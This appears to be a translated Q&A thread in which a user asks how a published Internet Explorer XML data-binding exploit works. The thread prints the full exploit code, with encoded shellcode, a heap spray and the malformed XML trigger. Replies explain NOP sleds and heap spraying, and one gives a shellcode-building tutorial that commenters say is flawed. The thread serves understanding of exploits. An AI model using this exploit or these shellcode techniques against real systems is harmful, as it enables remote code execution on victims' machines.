Zwykle nie mam trudności z odczytaniem kodu JavaScript, ale w tym przypadku nie mogę zrozumieć logiki. Kod pochodzi z exploita opublikowanego 4 dni temu. Możesz go znaleźć pod adresem milw0rm .
Oto kod:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Oto, co wierzę, że to robi i chciałbym, abyś pomógł mi w tej części, którą źle zrozumiałem.
Zmienna shellcode
zawiera kod do otwarcia pliku calc.exe
. Nie rozumiem, jak znaleźli ten dziwny ciąg. Dowolny pomysł?
Druga sprawa to zmienna spray
. Nie rozumiem tej dziwnej pętli.
Trzecia sprawa to zmienna, memory
która nigdy nie jest używana. Dlaczego to tworzą?
Ostatnia sprawa: co robi znacznik XML na stronie?
Na razie mam dobre odpowiedzi, ale przeważnie bardzo ogólne. Chciałbym więcej wyjaśnień na temat wartości kodu. Przykładem jest unescape("%u0a0a%u0a0a");
. Co to znaczy? To samo dotyczy pętli: dlaczego programista napisał length < 0xd0000
:? Chciałbym głębszego zrozumienia, nie tylko teorii tego kodu.
źródło
Odpowiedzi:
Shellcode zawiera instrukcje asemblera x86, które wykonają rzeczywisty exploit.
spray
tworzy długą sekwencję instrukcji, które zostaną wprowadzonememory
. Ponieważ zwykle nie możemy znaleźć dokładnej lokalizacji naszego szelkodu w pamięci, umieszczamynop
przed nim wiele instrukcji i przeskakujemy gdzieś tam.memory
Tablica będzie posiadać rzeczywisty kod x86 wraz z mechanizmem skoków. Przekażemy spreparowany XML do biblioteki, w której występuje błąd. Podczas parsowania błąd spowoduje, że rejestr wskaźnika instrukcji zostanie przypisany gdzieś w naszym exploicie, co prowadzi do wykonania dowolnego kodu.Aby głębiej zrozumieć, powinieneś dowiedzieć się, co jest w kodzie x86.
unscape
posłuży do umieszczenia sekwencji bajtów reprezentowanych przez łańcuch wspray
zmiennej. Jest to prawidłowy kod x86, który wypełnia dużą część sterty i przeskakuje na początek szelkodu. Przyczyną warunku końcowego są ograniczenia długości ciągów silnika skryptów. Nie możesz mieć sznurków większych niż określona długość.W zestawie x86
0a0a
reprezentujeor cl, [edx]
. Jest to równoważne znop
instrukcją do celów naszego exploita. Gdziekolwiekspray
przejdziemy do w, przejdziemy do następnej instrukcji, aż osiągniemy kod powłoki, który jest kodem, który faktycznie chcemy wykonać.Jeśli spojrzysz na XML, zobaczysz,
0x0a0a
że też tam jest. Dokładne opisanie tego, co się dzieje, wymaga określonej wiedzy na temat exploita (musisz wiedzieć, gdzie jest błąd i jak jest wykorzystywany, czego nie wiem). Wygląda jednak na to, że zmuszamy program Internet Explorer do wywoływania błędnego kodu, ustawiając nainnerHtml
ten złośliwy ciąg XML. Internet Explorer próbuje go przeanalizować, a błędny kod w jakiś sposób daje kontrolę nad lokalizacją pamięci, w której istnieje tablica (ponieważ jest to duży fragment, prawdopodobieństwo skoku tam jest wysokie). Kiedy tam przeskoczymy, procesor będzie wykonywałor cl, [edx]
instrukcje, aż osiągnie początek kodu powłoki, który jest umieszczony w pamięci.Zdemontowałem kod powłoki:
Zrozumienie tego szelkodu wymaga znajomości asemblera x86 i problemu w samej bibliotece MS (aby wiedzieć, jaki jest stan systemu, kiedy tu dotrzemy), a nie JavaScript! Ten kod z kolei zostanie wykonany
calc.exe
.źródło
Wygląda na to, że wykorzystano ostatni błąd przeglądarki Internet Explorer, dla którego Microsoft wydał poprawkę awaryjną. Wykorzystuje lukę w funkcji wiązania danych programu obsługi XML firmy Microsoft, która powoduje, że pamięć sterty jest nieprawidłowo zwalniana.
Shellcode to kod maszynowy, który zostanie uruchomiony, gdy wystąpi błąd. Rozpylanie i pamięć to tylko część przestrzeni przydzielonej na stercie, aby pomóc w wystąpieniu stanu, który można wykorzystać.
źródło
Rozpylanie sterty to powszechny sposób wykorzystywania przeglądarek. Jeśli się tym zajmujesz, możesz znaleźć kilka takich postów: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
źródło
Za każdym razem, gdy widzę pamięć, która nie jest omawiana w dyskusji o exploitach, moja pierwsza myśl jest taka, że exploit jest jakimś rodzajem przepełnienia bufora, w którym to przypadku pamięć albo powoduje przepełnienie bufora, albo jest uzyskiwana po przepełnieniu bufora .
źródło
Pochodzi z metasploit, co oznacza, że używa jednego z kodów powłoki metasploit. Jest to oprogramowanie typu open source, więc możesz go pobrać: http://www.metasploit.com/
źródło
Zobacz kodowanie znaków w HTML .
Są to dane binarne zakodowane jako ciąg, który dekoduje JavaScript.
Również powszechna forma XSS .
Tutaj możesz zobaczyć wszystkie sztuczki związane z kodowaniem:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
źródło
Prosty przykład szelkodu
Witaj świecie w asemblerze at & t składnia x86 wierzę (Kreator w szkoleniu).
skonfiguruj plik:
vim shellcodeExample.s
kompiluj tak:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Teraz masz plik binarny, który wyświetla hello world. aby przekonwertować plik binarny na kod powłoki, wpisz:
objdump -D shellcode
otrzymasz wynik:
Teraz, jeśli spojrzysz na czwartą linię tekstu, zobaczysz:
400078: eb 1a jmp 0x400094
część, która mówi,
eb 1a
jest szesnastkową reprezentacją instrukcji asemblerajmp one
gdzie „jeden” jest adresem pamięci twojego łańcucha.aby przygotować kod powłoki do wykonania, otwórz inny plik tekstowy i zapisz wartości szesnastkowe w tablicy znaków. Aby poprawnie sformatować kod powłoki, wpisz
\x
przed każdą wartością szesnastkową.nadchodzący przykład kodu powłoki będzie wyglądał następująco, zgodnie z danymi wyjściowymi polecenia objdump:
Ten przykład używa C dla tablicy. Teraz masz działający kod powłoki, który zapisze na standardowe wyjście „hello world”
możesz przetestować kod powłoki, umieszczając go w podatności lub możesz napisać następujący program w języku c, aby go przetestować:
Aby skompilować program, wpisz:
uruchom z
./run
Wiesz, że masz działający przykład prostego programowania w szelkodzie, który został przetestowany w linux mint / debian.źródło
int 0x80
32-bitowego ABI w 64-bitowym kodzie. Nie powiedzie się dla łańcuchów na stosie, ponieważ jądro patrzy tylko na najniższe 32 bity argumentów syscall. Co się stanie, jeśli użyjesz 32-bitowego int 0x80 Linux ABI w kodzie 64-bitowym? . (W takim przypadku utworzyłbyś nieskończoną pętlę, ponieważsys_write
wróciłby-EFAULT
imov $1, %al
zostawiłby górne bity ustawione, więc-ENOSYS
zamiast sys_exit otrzymasz). Ponadto w kodzie 64-bitowym można po prostujmp
przesłać dalej ciąg i użyć względnego protokołu RIP,lea
aby uzyskać adres, zamiast wywoływać / pop.const char payload[]
to byłby w segmencie tekstowym (w sekcji .rodata) i nie byłbyś potrzebny-z execstack
.)movl 4, %rax
zawiera bajt zerowy (i nie składa się z powodu niezgodności rozmiaru operandu i nie zawiera znaku,$
więc 4 jest adresem bezwzględnym). Myślę, że opublikowałeś wczesną wersję swojego źródła. Moje wcześniejsze komentarze dotyczą patrzenia na demontaż, w którym dodałeśsys_exit
połączenie.